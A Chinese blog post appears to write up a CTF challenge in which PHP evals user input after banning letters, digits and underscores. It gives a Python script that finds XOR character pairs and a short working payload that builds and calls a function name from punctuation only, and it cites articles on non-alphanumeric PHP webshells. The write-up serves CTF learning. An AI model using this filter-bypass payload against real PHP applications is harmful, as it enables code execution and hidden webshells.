MoR03r MoR03r's Blog
一个CTF题目的小结-无字母数字getFlag
发表于 2018-8-12 | CTF

前段时间看了一个比赛,题目应该算是比较旧的了

 <?php
    include 'flag.php';
    if(isset($_GET['code'])){
            $code = $_GET['code'];
            if(strlen($code)>50){
                    die("Long.");
            }
        $a = preg_match("/[A-Za-z0-9_]+/",$code);
        print_r($a);
            if($a){
                    die("NO.");
            }
            eval($code);
    }else{
            highlight_file(__FILE__);
    }
    //$hint =  "php function getFlag() to get flag";

 ?>

代码中有提示,可以执行getFlag()这个函数获取flag

这个题目的考点就在于正则这块儿了

不能出现字母数字还有下划线,之前有比赛题目是可以出现下划线的

那这里就可以写一小小段代码来fuzz一下,哪些字符通过异或可以产生a-zA-Z_

 import string
 s = string.printable[62:62+32]
 s1 = string.printable[:62]
 for i in s:
     for j in s:
         x = chr(ord(i)^ord(j))
         if x in s1+'_':
             print '{0}\t{1}\t{2}'.format(i,j,x)

然后需要将异或产生的字符串保存到变量中,这里有一个坑,我们学到的php变量命名规则是需要"a-zA-Z_"这样的字符作为变量开头,但是这里全都给禁用了,所以使用中文作为变量(我搞不太懂这里的原理,有表哥知道的请指正)

由于题目中已经给出了hint,所以直接构造getFlag函数即可,目前已知最短payload(这里我用phpinfo做测试)

 $啊="-@-@@[@"^"](]).=/";$啊();

/content/uploadfile/201808/1a301534047894.png

/content/uploadfile/201808/7f6c1534047929.png

参考文章:

过狗过盾的php一句话(非字母数字的)

编写变态的(非字母数字的)PHP后门

一些不包含数字和字母的webshell

TOP